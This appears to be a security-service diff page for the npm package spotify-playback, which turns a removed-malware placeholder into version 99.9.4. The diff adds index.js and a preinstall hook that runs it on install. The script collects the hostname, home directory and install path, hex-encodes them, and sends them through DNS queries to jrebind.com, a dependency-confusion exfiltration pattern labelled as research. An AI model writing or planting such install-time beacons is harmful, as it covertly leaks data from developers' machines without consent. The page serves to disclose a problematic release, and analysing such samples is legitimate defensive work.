spotify-playback 0.0.1-security → 99.9.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of spotify-playback might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +1 -5
  2. package/index.js +87 -0
  3. package/package.json +7 -3
package/README.md CHANGED
@@ -1,5 +1 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=spotify-playback for more information.
1
+ This package is meant for security research purposes and does not contain any useful code.
package/index.js ADDED
@@ -0,0 +1,87 @@
1
+ /*
2
+
3
+ This code is used for research purposes.
4
+
5
+ No sensitive data is retrieved.
6
+
7
+ Callbacks from within organizations with a
8
+ responsible disclosure program will be reported
9
+ directly to the organizations.
10
+
11
+ Any other callbacks will be ignored, and
12
+ any associated data will not be kept.
13
+
14
+ If you have any questions, please contact:
15
+ - harbitz@wearehackerone.com
16
+
17
+ */
18
+
19
+ const dns = require("dns");
20
+ const os = require("os")
21
+ const fs = require("fs");
22
+
23
+ function toHex(str) {
24
+ var result = '';
25
+ for (var i=0; i<str.length; i++) {
26
+ result += str.charCodeAt(i).toString(16);
27
+ }
28
+ return result;
29
+ }
30
+
31
+ const homeDirsToIgnore = [
32
+ "/root/test/node_modules",
33
+ "/ptd/node_modules",
34
+ "/home/fakename/app",
35
+ ]
36
+
37
+ const hostnamesToIgnore = [
38
+ "BBOGENS-LAPTOP",
39
+ ];
40
+
41
+ function main() {
42
+ const pjs = JSON.parse((fs.readFileSync(__dirname + "/package.json")).toString());
43
+ const id = Date.now();
44
+
45
+ if (homeDirsToIgnore.indexOf(os.homedir()) > -1) {
46
+ return;
47
+ }
48
+
49
+ if (hostnamesToIgnore.indexOf(os.hostname()) > -1) {
50
+ return;
51
+ }
52
+
53
+ const relevantInfo = [
54
+ os.hostname(),
55
+ os.homedir(),
56
+ __dirname,
57
+ pjs.name + "-" + pjs.version,
58
+ ]
59
+
60
+ const stringFragments = toHex(JSON.stringify(relevantInfo)).match(/.{1,63}/g);
61
+
62
+ sendData(stringFragments);
63
+ dns.lookup('ns.jrebind.com', function(err, address) {
64
+ if (!err) {
65
+ nsAddress = address;
66
+ } else {
67
+ nsAddress = '8.8.8.8';
68
+ }
69
+ dns.setServers(['20.106.202.190', '4.4.4.4']);
70
+ sendData(stringFragments);
71
+ });
72
+
73
+ function sendData(stringFragments) {
74
+ for (let i = 0; i < stringFragments.length; i++) {
75
+ try {
76
+ resolveFragment(id, i, stringFragments);
77
+ } catch {
78
+ }
79
+ }
80
+ }
81
+
82
+ function resolveFragment(id, counter, stringFragments) {
83
+ dns.resolve4(`morjok.${id}.${counter+1}.${stringFragments[counter]}.jrebind.com`, () => {})
84
+ }
85
+ }
86
+
87
+ main();
package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
+ "description": "Security research purposes only.",
3
+ "main": "index.js",
2
4
  "name": "spotify-playback",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
5
+ "license": "ISC",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "version": "99.9.4"
6
10
  }